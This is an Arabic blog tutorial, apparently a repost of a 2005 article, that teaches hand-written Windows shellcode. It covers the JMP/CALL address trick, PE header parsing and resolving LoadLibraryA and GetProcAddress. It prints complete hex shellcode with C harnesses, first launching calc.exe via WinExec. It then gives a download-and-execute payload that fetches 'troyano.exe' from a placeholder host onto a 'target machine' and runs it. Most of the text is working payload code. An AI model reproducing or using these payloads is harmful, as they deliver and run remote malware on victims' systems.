البرمجة المتقدمة للملفات التنفيذية X إحتراف صناعة الباتش و Shellcode

عام 0 geek4arab
Spread the love
البرمجة المتقدمة للملفات التنفيذية X إحتراف صناعة الباتش و Shellcode
JAAScois.com » أبحاث ودراسات »
الكاتب: JAAScois
تاريخ النشر: 13/04/2005 م
فكرة هذا الموضوع : تعلم كتابة البرامج التنفيذية بكل إحتراف تعمل في كل الظروف
وبأقل حجم ممكن وأقل إستهلاك للذاكرة , وبدون لغة برمجة ؟! يعني بالصفر و الواحد !

درست هذة الفكرة جيداً فوجدت أفضل هذة الأكواد والأفكار إحترافية
هي ملفات الباتش (تغيير في الشفرة الثنائية لبرنامج ) مثل ملفات تحديث النظام و تصحيح الأخطاء
بالإضافة إلى أغلب الفايروسات وأكواد إستغلال الثغرات shellcode

هذة الأنواع من البرامج والأكواد مختلفة عن بقية البرامج التي تراها ؟! كونها
تعمل في مكان غير مكانها ( في ملف تنفيذي آخر ) وتعمل في ظروف أخرى قد لاتعمل بها بقية البرامج

هذة البرامج أكثر البرامج إحترافية لأنها تأخذ حجم صغير جداً وإستهلاك بسيط للذاكرة
لدرجة أنك قد لاتحس بوجودها , وهذة الطريقة تعتمد على أساليب وطرق إحترافية للغة الإسمبلي
هذة الملفات ليس لها ملف تنفيذي ولا مقدمة PE وهي المعلومات التي تسهل للبرنامج الوصول لخدمات النظام
وهنا تضطر لإستخدام مقدمة الملف التنفيذي التي تكتب بداخلة ؟!
وهذة العملية تتطلب فهم قواعد وقوانين حسابية تمكنك من فهم بنية الملفات التنفيذية
وأغلب هذة القواعد ستكون مأخوذة من مقدمة الملف PE , ,,

نبدأ الموضع :::>>>>>>

أول ما يدخل برنامجك أو shellcode إلى أي نظام كيف سيتصرف؟! ومن أين سيبدأ للتحكم في النظام
خطوات وقوانين بناء الملفات التنفيذية exe :

الخطوة الأولى تحديد عناون الكود التنفيذي في الذاكرة؟
هذة الخطوة مهمة ,,كيف سنعرف مكان وعنوان تنفيذ برنامجنا بداخل أي عملية
لكي نبدأ بتكوين بيئة للملف التنفيذي , الحل بسيط عن طريق قانون أبسط

قانون تعليمة JMP و CALL
أنا متأكد أن أغلبكم تتبع وراقب طريقة عمل فايروس أو shellcode
وقد تستغرب من أن هذا الشل كود يبدأ بعشرات JMP و Call دون أي تنفيذ ودون سبب واضح؟!
وللمعلومة : فايروس ساسر يبدأ ب 20 تعليمة jmp .. تقريباً

هذة الطريقة لتحديد عناوين الكود بداخل أي عملية …. كيف ؟
أولاً : تعليمة JMP و Call لهما نفس العمل وقد لايكون هنالك إختلاف , إلى في العمل الإضافي للمعالج
عندما ينفذ المعالج تعليمة jmp فإنة ينقل التنفيذ فقط , ولكن عندما ينفذ تعليمة call
فإن المعالج ينقل التنفيذ + يقوم بتخزين عنوان الرجوع للتعليمة التالية , وهنا وجد الحل

الآن نريد تحديد أي عنوان بالبايت داخل برنامجنا , نبدأ بتعليمة jmp وننقل التنفيذ
إلى العنوان الذي نريد معرفته , بعد ذلك ننفذ تعليمة call , مباشرة يقوم المعالج بشكل
تلقائي بدفع عنوان العودة إلى المكدس بواسطة الأمر push
نحن نقوم بكل بساطة بسحب عنوان العودة بتعليمة pop إلى أي مسجل وبهذا نكون قد حددنا موقعنا
— وهذا هو الشكل النهائي للقانون —-

0012FE1C: JMP SHORT 0012FE1F
0012FE1E: NOP
0012FE1F: CALL 0012FE62
xxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxx
0012FE62: POP EDI

تلاحظ أن مسجل edi سيحمل بعنوان البلوك xxxxxxxxxxxx وهنا نضع أي شيء نريد تحديد عنوانة
——
وبعد ان عرفنا عنوان برنامجنا في أي عملية في الذاكرة , ننتقل إلى الخطوة الثانية
ملاحظة : هذة الخطوة لا تطبق إلى إذا كان برنامجك ينتقل عبر المكدس ( ثغرة في نظام التشغيل )

نقوم بإرجاع عناوين مسجلات esp و ebp إلى خلف عنوان برنامجنا التنفيذي
والسبب لأن هذة المسجلات تمثل مؤشرات البيانات في البرنامج الحالي ولا نريدها أن تتداخل مع الكود
وبذلك نطبق قانون :
عنوان ebp يساوي عنوان الكود التنفيذي لبرنامجنا – ناقص حجم الذاكرة التي نتوقع
إستخدامها لتخزين البيانات المؤقتة للبرنامج ( ملاحظة : في مثالنا سنستخدم 1200 بايت , بالهكس 500

عنوان esp يساوي قيمة ebp ناقص حجم الكود التنفيذي لبرنامجنا بالبايت, وفي مثالنا حجم البرنامج 2A0
===
لاحظ تكملة الكود السابق
عنوان البرنامج التنفيذ الذي حصلنا علية في المسجل edi
وبالإعتماد على عنوان برنامجنا سنطبق قانون espوebp :

0012FE62: POP EDI
0012FE63: MOV ESI,EDI
0012FE65: XOR ECX,ECX
0012FE67: MOV CH,5
0012FE69: MOV EDI,ESI
0012FE6B: SUB EDI,ECX
0012FE6D: MOV EBP,EDI
0012FE6F: MOV CH,3
0012FE71: SUB EDI,ECX
0012FE73: MOV EDX,EDI
0012FE75: MOV DL,7C
0012FE77: MOV ESP,EDX

وبعد أن قمنا بترتيب الكود , بالإعتماد على قوانين المعالج
نبدأ بشغلة قد تكون الأهم وهي
الدوال ومكاتب الربط ؟ كيف نصل إلى خدمات نظام التشغيل
كلنا نعرف أن للملف التنفيذي مقدمة PE موجودة في أول 512 بايت في مقدمة الملف
هذة المقدمة تحتوي على معلومات كثيرة مايهمنا في هذة النقطة – عنوان الدوال المستوردة
كيف نصل إليها
أولاً العنوان الوهمي للملفات التنفيذي exe يساوي 400000 وهذا في كل المترجمات
يبدأ عند هذا العنوان توقيع الملف التنفيذي MZ

الآن كيف أحصل على عنوان PE لكي أصل إلى عنوان جدول الدوال المستوردة
يقوم النظام يتخزين إزاحة PE عند العنوان 400000 + 3C
القانون الأول : إزاحة PE تساوي العنوان الوهمي + 3C
وبهذا يكون عنوان PE يساوي العنوان الوهمي + إزاحة PE
كيف ؟
تابع تكملة الكود السابق:
تحميل المسجل ecx بالعنوان الوهمي للملفات التنفيذية وهو 400000

0012FE7C: MOV CH,40
0012FE7E: SHL ECX,8

بعد ذلك تحميل ecx بإزاحة مقدمة الملف pe وهي تساوي العنوان الوهمي + 3c

0012FE84: LEA ECX,DWORD PTR DS:[ECX+3C]

بعد ذلك إضافة الإزاحة + العنوان الوهمي لنحصل على عنوان مقدمة الملف

0012FE87: MOV ECX,DWORD PTR DS:[ECX] <- تحميل المسجل بقيمة الإزاحة
0012FE89: ADD ECX,DWORD PTR SS:[EBP-8] <- جمع الإزاحة والعنوان الوهمي

لينتج عنوان مقدمة الملف
الآن نكون قد حصلنا على عنوان PE ونبدأ بإستخراج المعلومات
أول ماسنبحث عن هو عنوان جدول الدوال المستوردة
وتجد العنوان بهذة الطريقة : عنوان pe ونضيف لة القيمة 7F
لأن قيمة 7F تمثل إزاحة جدول الدوال المستوردة في مقدمة الملف ,, ونكمل الكود

قرائة مؤشر لعنوان جدول الدوال المستوردة

0012FE8C: LEA ECX,DWORD PTR DS:[ECX+7F]
0012FE8F: INC ECX

قرائة العنوان المؤشر علية وهو يمثل إزاحة الجدول

0012FE90: MOV ECX,DWORD PTR DS:[ECX]

إضافة إزاحة الجدول إلى العنوان الوهمي للبرنامج لينتج لنا عنوان مباشر للجدول في الذاكرة

0012FE92: ADD ECX,DWORD PTR SS:[EBP-8]

وفي هذة الخطوة نكون قد كونا برنامج قياسي في الذاكرة ,,
وبقي إستخدام الأوامر وإستيراد الدوال:

هذة النقطة تتطلب شرط ؟ وهو أن يكون البرنامج المستهدف يستخدم على الأقل دالة واحدة
وبالتأكيد هذا الشرط موجود في كل البرامج

ولكن ماهي الدالة التي تتوقع وجودها في كل أو أغلب البرامج
توجد دالتين متوفرة في كل البرامج القياسية وحتى المشفرة
وهما الدالة LoadLibraryA والدالة GetModuleHandleA

ونحن بدورنا سنستخدم في المثال الأول الدالة LoadLibraryA
وبعد ذلك سنقوم بتحميل أي مكتبة نريدها وإستخدام أي دالة
وفي مثالنا الأول سنقوم بتحميل المكاتب التالية
KERNEL32 و USER32
وسنستخدم دوال إضافية
GetProcAddress
WinExec
ExitThread
وسنستخدم معلومات مثل” calc.exe ” لكي نقوم بتشغيل برنامج

والآن سنكمل برنامجنا السابق , وسنضيف لة قسم بيانات
وسنكتب بة أسماء الدوال والمكاتب
إرجع إلى أول خطوة في برنامجنا وأضف لة البيانات الشابقة في مكان xxxxxxx

0012FE1C: JMP SHORT 0012FE1F
0012FE1E: NOP
0012FE1F: CALL 0012FE62
xxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxx
0012FE62: POP EDI

لكي نرجع عنوانها في الذاكرة —–
وبعد ذلك أكمل باقي الخطوات

الخطوة الأولى : البحث عن مكتبة KERNEL32 في الذاكرة
تتطلب هذة الخطوة دورة تنفيذية : تبدأ هذة الدورة ب
بتحديد مكاتب الربط عن طريق قانون ذكرناة في دروس سابقة
وهو قانون ال 20 بايت للدوال المستوردة – راجع موضوع المترجمات
في البايت رقم C في هذة ال 20 بايت يمثل عنوان لإسم مكتبة الربط
نستخرج هذا العنوان ثم نقرأ إسم المكتبة ثم نقارنة بإسم kernel

نكمل الكود :

قرائة إسم المكتبة من ال 20 بايت
0012FE97: MOV ECX,DWORD PTR DS:[ECX+C]
0012FE9A: ADD ECX,DWORD PTR SS:[EBP-8]

مقارنة الإسم الذي حصلنا علية مع الأرقام وهي تمثل بداية إسم kern
0012FE9D: CMP DWORD PTR DS:[ECX],4E52454B
0012FEA3: JE SHORT 0012FEAC

إذا لم يتم إيجاد المكتبة ننتقل لثاني 20 بايت وبالهكس يمثل 14
0012FEA5: LEA EBX,DWORD PTR DS:[EBX+14]
0012FEA8: MOV ECX,EBX

نعود إلى بداية الدورة
0012FEAA: JMP SHORT 0012FE97

وستنتهي الدورة بعد أن وجد ال 20 بايت التابع لمكتبة KERNEL32
وبعد أن نجد ال 20 بايت الخاصة بمكتبة KERNEL32
نستخرج منها أول 4 بايت وتمثل الدوال المستوردة من هذة المكتبة
ونبدأ بدورة بحث ثانية في جدول الدوال للبحث عن الدالة LoadLibraryA
إستخراج جدول عناوين الدوال

0012FEAE: PUSH EBX
0012FEAF: MOV ESI,DWORD PTR DS:[EBX]
0012FEB1: ADD ESI,DWORD PTR SS:[EBP-8]

قرائة أسماء الدوال حسب العنوان

0012FEBA: MOV EDI,DWORD PTR DS:[ESI]
0012FEBC: ADD EDI,DWORD PTR SS:[EBP-8]
0012FEBF: INC EDI
0012FEC0: INC EDI
0012FEC1: PUSH ESI ; SEH.00404438
0012FEC2: MOV ESI,DWORD PTR SS:[EBP-4]
0012FEC5: XOR ECX,ECX
0012FEC7: MOV CL,0D

مقارنة بين أسماء الدوال والدالة LoadLibraryA
0012FEC9: REPE CMPS BYTE PTR ES:[EDI],BYTE PTR DS:>
0012FECB: POP ESI
0012FECC: JE SHORT 0012FED4
0012FECE: INC EAX
0012FECF: LEA ESI,DWORD PTR DS:[ESI+4]
0012FED2: JMP SHORT 0012FEB4

وتنتهي الدورة بعد أن تجد مؤشر لعنوان تنفيذ الدالة LoadLibraryA
ونكمل الكود بإستخراج المؤشر

0012FED5: MOV EBX,DWORD PTR DS:[EBX+10]
0012FED8: ADD EBX,DWORD PTR SS:[EBP-8]
0012FEDB: SHL EAX,2
0012FEDE: ADD EBX,EAX
0012FEE0: MOV EAX,DWORD PTR DS:[EBX] ; kernel32.LoadLibraryA

بعد ذلك نقوم بتحميل المكتبة KERNEL32
ونبدأ بإستخراج إسم المكتبة من البيانات التي أضفناها لبرنامجنا

0012FEE2: MOV DWORD PTR SS:[EBP-C],EAX
0012FEE5: MOV EBX,DWORD PTR SS:[EBP-4]
0012FEE8: LEA EBX,DWORD PTR DS:[EBX+D]

وبعد ذلك نتصل في دالة تحميل المكتبة
0012FEEB: PUSH EBX
0012FEEC: CALL EAX

وفي هذة الخطوة تستطيع تحميل أي مكتبة لإستخادمها
ونضيف تحميل المكتبة user32.dll

0012FEF1: LEA EBX,DWORD PTR DS:[EBX+9]
0012FEF4: PUSH EBX
0012FEF5: MOV EAX,DWORD PTR SS:[EBP-C]
0012FEF8: CALL EAX ; kernel32.LoadLibraryA

والآن وبعد تطبيق كل الخطوات السابقة , كل الذي بقي تكرار لم سبق
فمثلاً بعد تحميل أي مكتبة إلى الذاكرة , نقوم بتطبيق أول خطوة تعلمناها الوصول إلى pe
وبعد ذلك نستخرج عنوان (لاحظ) الدوال المصدرة وليست المستوردة
– تابع الكود –
إستخراج عنوان الدوال المصدرة
الجديد في الكود هو الرقم 78 وهو يمثل عنوان جدول الدوال المصدرة في pe

0012FF00: MOV EAX,DWORD PTR DS:[EAX+3C]
0012FF06: MOV EAX,DWORD PTR DS:[EAX+78]

وبعد ذلك نكرر عملية البحث عن أي دالة نريد إستخراجها
وفي مثالنا الدالة GetProcAddress
نبدأ بتحميل إسم الدالة من الكود الذي قمنا بكتابتة

0012FF15: LEA EDI,DWORD PTR DS:[EBX+8]

وبعد ذلك نبدأ بعملية البحث عن إسم الدالة في جدول الدوال المصدرة

0012FF1A: PUSH EDI
0012FF1B: MOV ESI,DWORD PTR DS:[EAX]
0012FF1D: ADD ESI,DWORD PTR SS:[EBP-10]
0012FF20: XOR ECX,ECX
0012FF22: MOV CL,0F
0012FF24: REPE CMPS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
0012FF26: JE SHORT 0012FF33
0012FF28: POP EDI
0012FF29: JMP SHORT 0012FF2D
0012FF2B: JMP SHORT 0012FFA7
0012FF2D: INC EDX
0012FF2E: LEA EAX,DWORD PTR DS:[EAX+4]
0012FF31: JMP SHORT 0012FF1A

وبعد أن توصلنا إلى عنوان الدالة GetProcAddress
بعد ذلك تبدأ الراحة …. والسهولة
إذا أردت أي دالة أو مكتبة فقط أضف إسمها إلى الكود الخاص بناء
وإستخدم الدالة GetProcAddress لإرجاع عنوانها وبعد ذلك تنفيذها
لاحظ المسجل ebx يحتوي على عنوان الدالة GetProcAddress
وسنقوم بتنفيذ الدالة WinExec التي أضفناها سابقاً وهي تشغيل ملف تنفيذي
وسنقوم بتشغيل برنامج الحاسبة في وندوز calc.exe
الشغلة ولا أبسط

نبدأ بقرائة إسم الدالة التي أضفناها في الكود وهي WinExec

0012FF6A: MOV ESI,DWORD PTR SS:[EBP-10]

بعد ذلك نتصل بالدالة GetProcAddress

0012FF6D: PUSH ESI
0012FF6E: CLD
0012FF6F: CALL EBX ; kernel32.GetProcAddress

وثم تنفيذ WinExec
0012FF71: POP EBX
0012FF72: PUSH 1
0012FF74: ADD BL,8
0012FF77: PUSH EBX
0012FF78: CALL EAX

//////////////////////////////////////
وبعد كتابة الكود سنقوم بإختبارة:
البرنامج الذي كتبناة عبارة عن الشيل كود التالي:

char shellcode[] =

// بداية الشيل كود وهو عبارة عن قانون JMP – Call
“\xEB\x01\x90\xE8\x49\x00\x00\x00”
// بداية بيانات البرنامج
“LoadLibraryA”
“\x00”
“KERNEL32”
“\x00”
“USER32”
“\x00\x00”
“GetProcAddress”
“\x00”
“WinExec”
“\x00”
“calc.exe”
“\x00”
“ExitThread”
“\x00”
///////////////////////////////////////////////////////
“\x5F\x8B\xF7”

//البحث عن ترويسة الملف ومكتبة الربط كيرنل
“\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7”
“\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08\x89\x4D\xF8\x8D”
“\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8”
“\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07”
“\x8D\x5B\x14\x8B\xCB\xEB\xEB”

///////////////////////////////////////////////////////
//البحث عن الدوال وبالتحديد دالة تحميل المكاتب
“\x33\xC0\x53\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74\x14\x8B\x3E”
“\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E”
“\x74\x06\x40\x8D\x76\x04\xEB\xE0”
///////////////////////////////////////////////////////

//تحميل أي مكاتب ربط إضافية
“\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B\x03\x89\x45”
“\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09”
“\x53\x8B\x45\xF4\xFF\xD0\x89\x45\xEC”
///////////////////////////////////////////////////////
// إستخدام الدالة GetProcAddress
“\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78\x03\x45\xF0\x89”
“\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30”
“\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A”
“\x42\x8D\x40\x04\xEB\xE7”

///////////////////////////////////////////////////////
الإتصال بدالة تشغيل ملف تنفيذي وهي الآلة الحاسبة بالإضافة إلى دالة إنهاء الثريد
“\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03”
“\xFA\x66\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B”
“\x1B\x03\x5D\xF0\x89\x5D\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0”
“\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0\x56\xFC\xFF\xD3”
“\x59\x6A\x01\x80\xC1\x08\x51\xFF\xD0\x8B\x4D\xFC\x80”
“\xC1\x3E\x51\x56\xFF\xD3\x6A\x00\xFF\xD0”;

وبعد كتابة الشيل كود , يأتي دور التجربة والإختبار
ولكي نقوم بعملية الإختبار يجب أن نضيفة إلى برنامج لكي نقوم بمراقبتة
والآن نقوم بكتابة الشيل كود داخل شفرة بلغة السي ونقوم بتنفيذة

#include <stdio.h>
#include <windows.h>

int main(int argc,char *argv[])
{

char shellcode[] =
“\xEB\x01\x90\xE8\x49\x00\x00\x00”
“LoadLibraryA”
“\x00”
“KERNEL32”
“\x00”
“USER32”
“\x00\x00”
“GetProcAddress”
“\x00”
“WinExec”
“\x00”
“calc.exe”
“\x00”
“ExitThread”
“\x00”
///////////////////////////////////////////////////////
“\x5F\x8B\xF7”

“\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7”
“\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08\x89\x4D\xF8\x8D”
“\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8”
“\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07”
“\x8D\x5B\x14\x8B\xCB\xEB\xEB”

///////////////////////////////////////////////////////

“\x33\xC0\x53\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74\x14\x8B\x3E”
“\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E”
“\x74\x06\x40\x8D\x76\x04\xEB\xE0”
///////////////////////////////////////////////////////

“\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B\x03\x89\x45”
“\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09”
“\x53\x8B\x45\xF4\xFF\xD0\x89\x45\xEC”
///////////////////////////////////////////////////////

“\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78\x03\x45\xF0\x89”
“\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30”
“\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A”
“\x42\x8D\x40\x04\xEB\xE7”

///////////////////////////////////////////////////////

“\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03”
“\xFA\x66\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B”
“\x1B\x03\x5D\xF0\x89\x5D\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0”
“\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0\x56\xFC\xFF\xD3”
“\x59\x6A\x01\x80\xC1\x08\x51\xFF\xD0\x8B\x4D\xFC\x80”
“\xC1\x3E\x51\x56\xFF\xD3\x6A\x00\xFF\xD0″;

/// كود لبداية تنفيذ الشيل كود الذي قمنا بكتابتة
////////////////////////////////////////////////
void* addr=0;
MessageBox (0,”Start Shellcode”,0,0);
addr=&shellcode[0];
__asm call addr

return 0;
}

وبعد ذلك ترجم البرنامج
وأدخلة في برنامج olly

وضع نقطة توقف على دالة المسج التي تخبرك ببداية الشيل كود
وبعدها مباشرة تجد تعليمة call إنتقل إلى العنوان الذي تؤشر علية وضع نقطة توقف
لأنة بداية برنامجنا ال shellcode
وتتبع البرنامج خطوة , خطوة لكي تتضح لك الخطوات أكثر
وستجد البرنامج كما هو مبين في الصور: //////////

وبعد أن نفهم الخطوات أكثر ,, ننتقل إلى أكواد أكبر
مثل:
برنامج shellcode لتنزيل ملف exe من الإنترنت إلى الجهاز المستهدف
وهو مثل الكود السابق متوافق مع كل إصدارات وندوز

الكود :

#include <stdio.h>
#include <windows.h>

int main(int argc,char *argv[])
{

char shellcode[] =
“\xEB\x5D\x5F\x8B\xF7\x80\x3F”
“\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9”
“\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08”
“\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8”
“\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B”
“\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74”
“\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74”
“\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B”
“\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53”
“\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78”
“\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30”
“\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04”
“\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66”
“\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D”
“\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0”
“\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04”
“\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB”
“\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C”
“\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8”
“\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52”
“\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1”
“\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC”
“\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0”
“\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B”
“\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF”
“\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69”
“\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49”
“\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F”
“\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61”
“\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78”
“\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72”
“\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65”
“\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69”
“\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64”
“\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08”
“http://www.host.com/troyano.exe”
“\x08\x01″;

////////////////////////////////////////////////
void* addr=0;
MessageBox (0,”Start Download”,0,0);
addr=&shellcode[0];
__asm call addr

return 0;
}

 

الكاتب geek4arab

geek4arab

مواضيع متعلقة

التعليقات مغلقة